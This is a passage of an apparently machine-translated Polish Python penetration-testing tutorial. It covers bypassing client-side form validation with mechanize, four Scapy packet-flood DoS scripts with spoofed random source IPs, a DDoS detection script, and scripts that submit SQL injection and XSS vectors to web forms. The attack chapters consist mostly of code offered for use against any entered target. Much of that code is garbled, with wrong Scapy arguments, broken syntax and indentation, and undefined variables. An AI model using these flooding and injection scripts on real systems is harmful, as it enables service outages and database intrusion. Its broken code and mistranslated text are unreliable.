Z drugiej strony walidacja danych wejściowych użytkownika, która ma miejsce po stronie klienta, nazywana jest walidacją po stronie klienta. Języki skryptowe, takie jak JavaScript i VBScript, są używane doclient-side validation. W tego rodzaju walidacji cała weryfikacja danych wejściowych użytkownika jest wykonywana tylko w przeglądarce użytkownika. Nie jest tak bezpieczna jak walidacja po stronie serwera, ponieważ haker może łatwo ominąć nasz język skryptowy po stronie klienta i przesłać niebezpieczne dane wejściowe do serwera.

Odpuszczanie parametru po stronie klienta: pomijanie walidacji

Do przekazywania parametrów w protokole HTTP służą metody POST i GET. GET służy do żądania danych z określonego zasobu, a POST służy do wysyłania danych do serwera w celu utworzenia lub zaktualizowania zasobu. Jedną z głównych różnic między obiema metodami jest to, że jeśli witryna korzysta z metody GET, to przekazywane parametry są wyświetlane w adresie URL i możemy zmienić ten parametr i przekazać go do serwera WWW. Na przykład ciąg zapytania (pary nazwa / wartość) jest wysyłany w adresie URL żądania GET:/test/hello_form.php?name1 = value1&name2 = value2. Z drugiej strony parametry nie są wyświetlane podczas korzystania z metody POST. Dane przesłane do serwera za pomocą POST są przechowywane w treści żądania HTTP. Na przykład POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

Moduł Pythona do obejścia walidacji

Moduł Pythona, którego będziemy używać, to mechanize. Jest to przeglądarka internetowa w języku Python, która umożliwia uzyskiwanie formularzy internetowych na stronie internetowej, a także ułatwia wprowadzanie wartości wejściowych. Za pomocą mechanizacji możemy ominąć walidację i złagodzić parametry po stronie klienta. Jednak przed zaimportowaniem go do naszego skryptu Pythona musimy go zainstalować, wykonując następujące polecenie -

pip install mechanize

Przykład

Poniżej znajduje się skrypt w Pythonie, który używa mechanize do ominięcia walidacji formularza internetowego przy użyciu metody POST do przekazania parametru. Formularz internetowy można pobrać z linkuhttps://www.tutorialspoint.com/php/php_validation_example.htm i może być używany w dowolnej wybranej przez Ciebie fikcyjnej witrynie internetowej.

Na początek zaimportujmy przeglądarkę mechanize -

import mechanize

Teraz utworzymy obiekt o nazwie brwsr przeglądarki mechanize -

brwsr = mechanize.Browser()

Następny wiersz kodu pokazuje, że agent użytkownika nie jest robotem.

brwsr.set_handle_robots( False )

Teraz musimy podać adres URL naszej fałszywej witryny zawierającej formularz internetowy, na którym musimy ominąć walidację.

url = input("Enter URL ")

Teraz kolejne wiersze ustawią niektórych rodziców na true.

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

Następnie otworzy stronę internetową i wydrukuje formularz internetowy na tej stronie.

brwsr.open(url)
for form in brwsr.forms():
   print form

Kolejna linia kodów pominie walidacje na podanych polach.

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

Ostatnią część skryptu można zmienić zgodnie z polami formularza internetowego, na których chcemy ominąć walidację. Tutaj w powyższym skrypcie wzięliśmy dwa pola -‘name’ i ‘gender’ które nie mogą być puste (możesz zobaczyć w kodzie formularza internetowego), ale ten skrypt ominie tę walidację.

W tym rozdziale dowiemy się o ataku DoS i DdoS oraz zrozumiemy, jak je wykryć.

Wraz z boomem w branży e-commerce, serwer WWW jest teraz podatny na ataki i jest łatwym celem dla hakerów. Hakerzy zazwyczaj podejmują dwa rodzaje ataków -

  • DoS (Denial-of-Service)
  • DDoS (rozproszona odmowa usługi)

Atak DoS (Denial-of-Service)

Atak Denial of Service (DoS) to próba hakerów, aby uniemożliwić dostęp do zasobu sieciowego. Zwykle przerywa hostowi, tymczasowo lub na czas nieokreślony, połączenie z Internetem. Ataki te zazwyczaj są wymierzone w usługi hostowane na serwerach WWW o znaczeniu krytycznym, takich jak banki, bramki płatności kartami kredytowymi.

Objawy ataku DoS

  • Niezwykle niska wydajność sieci.

  • Niedostępność określonej witryny internetowej.

  • Brak dostępu do jakiejkolwiek witryny internetowej.

  • Drastyczny wzrost liczby otrzymywanych wiadomości spamowych.

  • Długotrwała odmowa dostępu do sieci lub jakichkolwiek usług internetowych.

  • Niedostępność określonej witryny internetowej.

Rodzaje ataku DoS i jego implementacja w Pythonie

Atak DoS może zostać przeprowadzony w warstwie łącza danych, sieci lub aplikacji. Poznajmy teraz różne typy ataków DoS &; ich implementacja w Pythonie -

Pojedynczy port IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu jednego adresu IP i z jednego numeru portu. Jest to atak niskiego poziomu, który służy do sprawdzania zachowania serwera WWW. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomoże zaimplementować atak DoS na pojedynczy port IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Po wykonaniu powyższy skrypt zapyta o następujące trzy rzeczy -

  • Adres IP źródła i celu.

  • Adres IP numeru portu źródłowego.

  • Następnie wyśle ​​dużą liczbę pakietów do serwera w celu sprawdzenia jego zachowania.

Pojedynczy adres IP Wiele portów

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu jednego adresu IP i z wielu portów. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomoże zaimplementować wielokrotny atak DoS na pojedynczy adres IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Pojedynczy port wielu adresów IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu wielu adresów IP i z jednego numeru portu. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt Pythona implementuje atak DoS na jeden adres IP z wieloma portami -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Wiele portów IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu wielu adresów IP i z wielu portów. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomaga zaimplementować wieloportowy atak DoS na wiele adresów IP -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Atak DDoS (Distributed Denial-of-Service)

Atak Distributed Denial of Service (DDoS) to próba uniemożliwienia dostępu do usługi online lub strony internetowej poprzez przeciążenie jej ogromnymi zalewami ruchu generowanego z wielu źródeł.

W przeciwieństwie do ataku typu Denial of Service (DoS), w którym jeden komputer i jedno połączenie internetowe są wykorzystywane do zalewania docelowego zasobu pakietami, atak DDoS wykorzystuje wiele komputerów i wiele połączeń internetowych, często rozproszonych globalnie w ramach tzw. Botnetu. . Wolumetryczny atak DDoS na dużą skalę może generować ruch mierzony w dziesiątkach gigabitów (a nawet setkach gigabitów) na sekundę. Szczegółowe informacje można znaleźć pod adresemhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Wykrywanie DDoS za pomocą Pythona

W rzeczywistości atak DDoS jest nieco trudny do wykrycia, ponieważ nie wiesz, że host wysyłający ruch jest fałszywy lub prawdziwy. Podany poniżej skrypt Pythona pomoże wykryć atak DDoS.

Na początek zaimportujmy niezbędne biblioteki -

import socket
import struct

from datetime import datetime

Teraz utworzymy gniazdo tak, jak stworzyliśmy w poprzednich sekcjach.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Użyjemy pustego słownika -

dict = {}

Poniższy wiersz kodu otworzy plik tekstowy, zawierający szczegóły ataku DDoS w trybie dopisywania.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Za pomocą następującego wiersza kodu bieżący czas zostanie zapisany przy każdym uruchomieniu programu.

file_txt.writelines(t1)
file_txt.writelines("\n")

Teraz musimy przyjąć trafienia z określonego adresu IP. Tutaj zakładamy, że jeśli dane IP trafia więcej niż 15 razy, będzie to atak.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Poniższy wiersz kodu sprawdzi, czy adres IP istnieje w słowniku, czy nie. Jeśli istnieje, zwiększy go o 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Następna linia kodu służy do usuwania nadmiarowości.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Po uruchomieniu powyższego skryptu otrzymamy wynik w pliku tekstowym. Zgodnie ze skryptem, jeśli adres IP trafi więcej niż 15 razy, zostanie wydrukowany, gdy atak DDoS zostanie wykryty wraz z tym adresem IP.

Wstrzyknięcie SQL to zestaw poleceń SQL, które są umieszczane w ciągu adresu URL lub w strukturach danych w celu pobrania żądanej odpowiedzi z baz danych połączonych z aplikacjami internetowymi. Ten typ ataku ma zwykle miejsce na stronach internetowych stworzonych przy użyciu PHP lub ASP.NET.

Atak z iniekcją SQL można przeprowadzić z następującymi intencjami -

  • Modyfikowanie zawartości baz danych

  • Modyfikowanie zawartości baz danych

  • Wykonywanie różnych zapytań, które nie są dozwolone przez aplikację

Ten typ ataku działa, gdy aplikacje nie sprawdzają poprawnie danych wejściowych przed przekazaniem ich do instrukcji SQL. Iniekcje są zwykle umieszczane w paskach adresu, polach wyszukiwania lub polach danych.

Najłatwiejszym sposobem wykrycia, czy aplikacja internetowa jest podatna na atak polegający na wstrzyknięciu kodu SQL, jest użycie znaku „” ”w ciągu i sprawdzenie, czy wystąpił jakiś błąd.

Rodzaje ataku SQLi

W tej sekcji dowiemy się o różnych typach ataków SQLi. Atak można podzielić na następujące dwa typy -

  • In-band SQL injection (Simple SQLi)

  • Inferencyjne wstrzyknięcie SQL (Blind SQLi)

In-band SQL injection (Simple SQLi)

Jest to najczęstszy iniekcja SQL. Ten rodzaj iniekcji SQL ma miejsce głównie wtedy, gdy osoba atakująca jest w stanie użyć tego samego kanału komunikacyjnego do przeprowadzenia ataku i zebrania wyników. Wstrzyknięcia SQL w paśmie są dalej podzielone na dwa typy -

  • Error-based SQL injection - Technika iniekcji SQL oparta na błędach polega na wyświetlaniu komunikatu o błędzie przez serwer bazy danych w celu uzyskania informacji o strukturze bazy danych.

  • Union-based SQL injection - To kolejna technika in-band SQL injection, która wykorzystuje operator UNION SQL do łączenia wyników dwóch lub więcej instrukcji SELECT w jeden wynik, który jest następnie zwracany jako część odpowiedzi HTTP.

Inferencyjne wstrzyknięcie SQL (Blind SQLi)

W tego rodzaju ataku SQL injection osoba atakująca nie jest w stanie zobaczyć wyniku ataku w paśmie, ponieważ żadne dane nie są przesyłane za pośrednictwem aplikacji internetowej. Z tego powodu jest również nazywany Blind SQLi. Inferencyjne iniekcje SQL są ponadto dwojakiego rodzaju -

  • Boolean-based blind SQLi - Technika ta polega na wysłaniu zapytania SQL do bazy danych, co zmusza aplikację do zwrócenia innego wyniku w zależności od tego, czy zapytanie zwraca wynik PRAWDA czy FAŁSZ.

  • Time-based blind SQLi- Ten rodzaj techniki polega na wysłaniu zapytania SQL do bazy danych, co zmusza bazę danych do oczekiwania przez określony czas (w sekundach) przed udzieleniem odpowiedzi. Czas odpowiedzi wskaże atakującemu, czy wynik zapytania jest PRAWDA, czy FAŁSZ.

Przykład

Wszystkie typy SQLi można zaimplementować poprzez manipulowanie danymi wejściowymi do aplikacji. W poniższych przykładach piszemy skrypt w języku Python, który wstrzykuje wektory ataku do aplikacji i analizuje dane wyjściowe, aby zweryfikować możliwość ataku. Tutaj użyjemy modułu Pythona o nazwiemechanize, co daje możliwość uzyskiwania formularzy internetowych na stronie internetowej i ułatwia również wprowadzanie wartości wejściowych. Wykorzystaliśmy również ten moduł do walidacji po stronie klienta.

Poniższy skrypt w języku Python pomaga w przesyłaniu formularzy i analizowaniu odpowiedzi za pomocą mechanize -

Przede wszystkim musimy zaimportować plik mechanize moduł.

import mechanize

Teraz podaj nazwę adresu URL do uzyskania odpowiedzi po przesłaniu formularza.

url = input("Enter the full url")

Poniższy wiersz kodów otworzy adres URL.

request = mechanize.Browser()
request.open(url)

Teraz musimy wybrać formularz.

request.select_form(nr = 0)

Tutaj ustawimy nazwę kolumny „id”.

request["id"] = "1 OR 1 = 1"

Teraz musimy przesłać formularz.

response = request.submit()
content = response.read()
print content

Powyższy skrypt wydrukuje odpowiedź na żądanie POST. Przesłaliśmy wektor ataku, aby przerwać zapytanie SQL i wydrukować wszystkie dane w tabeli zamiast jednego wiersza. Wszystkie wektory ataku zostaną zapisane w pliku tekstowym, np. Vectors.txt. Teraz podany poniżej skrypt Pythona pobierze te wektory ataku z pliku i wyśle ​​je jeden po drugim na serwer. Zapisuje również dane wyjściowe do pliku.

Na początek zaimportujmy moduł mechanize.

import mechanize

Teraz podaj nazwę adresu URL do uzyskania odpowiedzi po przesłaniu formularza.

url = input("Enter the full url")
   attack_no = 1

Musimy odczytać wektory ataku z pliku.

With open (‘vectors.txt’) as v:

Teraz wyślemy żądanie z każdym wektorem araku

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Teraz następujący wiersz kodu zapisze odpowiedź do pliku wyjściowego.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Sprawdzając i analizując odpowiedzi, możemy zidentyfikować możliwe ataki. Na przykład, jeśli zawiera odpowiedź zawierającą zdanieYou have an error in your SQL syntax oznacza to, że na formularz może mieć wpływ wstrzyknięcie SQL.

Ataki typu cross-site scripting to rodzaj iniekcji, który odnosi się również do ataku polegającego na wstrzyknięciu kodu po stronie klienta. Tutaj złośliwe kody są wstrzykiwane do legalnej witryny internetowej. Koncepcja Same Origin Policy (SOP) jest bardzo przydatna w zrozumieniu koncepcji Cross-site scripting. SOP to najważniejsza zasada bezpieczeństwa w każdej przeglądarce internetowej. Zabrania witrynom pobierania treści ze stron o innym pochodzeniu. Na przykład strona internetowa www.tutorialspoint.com/index.html może uzyskać dostęp do zawartości zwww.tutorialspoint.com/contact.htmlale www.virus.com/index.html nie może uzyskać dostępu do treści zwww.tutorialspoint.com/contact.html. W ten sposób możemy powiedzieć, że cross-site scripting jest sposobem na ominięcie polityki bezpieczeństwa SOP.

Rodzaje ataku XSS

W tej sekcji zapoznajmy się z różnymi typami ataków XSS. Atak można podzielić na następujące główne kategorie -

  • Trwałe lub przechowywane XSS
  • Nietrwały lub odbity XSS

Trwałe lub przechowywane XSS

W tego rodzaju ataku XSS atakujący wstrzykuje skrypt, zwany payloadem, który jest trwale przechowywany w docelowej aplikacji internetowej, na przykład w bazie danych. Z tego powodu nazywa się to trwałym atakiem XSS. W rzeczywistości jest to najbardziej szkodliwy rodzaj ataku XSS. Na przykład złośliwy kod jest wstawiany przez osobę atakującą w polu komentarza na blogu lub w poście na forum.

Nietrwały lub odbity XSS

Jest to najczęstszy rodzaj ataku XSS, w którym ładunek atakującego musi być częścią żądania, który jest wysyłany do serwera WWW i odbijany w taki sposób, że odpowiedź HTTP zawiera ładunek z żądania HTTP. Jest to nietrwały atak, ponieważ atakujący musi dostarczyć ładunek do każdej ofiary. Najczęstszym przykładem tego typu ataków XSS są wiadomości phishingowe, za pomocą których atakujący nakłania ofiarę do wysłania żądania do serwera zawierającego ładunki XSS i kończy się wykonaniem skryptu, który zostaje odzwierciedlony i wykonany w przeglądarce .

Przykład

Podobnie jak SQLi, ataki internetowe XSS mogą być realizowane poprzez manipulowanie danymi wejściowymi do aplikacji. W poniższych przykładach modyfikujemy wektory ataku SQLi, wykonane w poprzedniej sekcji, w celu przetestowania ataku internetowego XSS. Podany poniżej skrypt Pythona pomaga analizować atak XSS za pomocąmechanize -

Na początek zaimportujmy plik mechanize moduł.

import mechanize

Teraz podaj nazwę adresu URL do uzyskania odpowiedzi po przesłaniu formularza.

url = input("Enter the full url")
   attack_no = 1

Musimy odczytać wektory ataku z pliku.

With open (‘vectors_XSS.txt’) as x:

Teraz wyślemy żądanie z każdym wektorem araku -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Poniższy wiersz kodu sprawdzi wydrukowany wektor ataku.

if content.find(line) > 0:
print(“Possible XSS”)

Poniższy wiersz kodu zapisze odpowiedź do pliku wyjściowego.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSS występuje, gdy dane wejściowe użytkownika są drukowane w odpowiedzi bez żadnej weryfikacji. Dlatego, aby sprawdzić możliwość ataku XSS, możemy sprawdzić tekst odpowiedzi dla dostarczonego przez nas wektora ataku. Jeśli wektor ataku jest obecny w odpowiedzi bez jakiejkolwiek ucieczki lub walidacji, istnieje duże prawdopodobieństwo ataku XSS.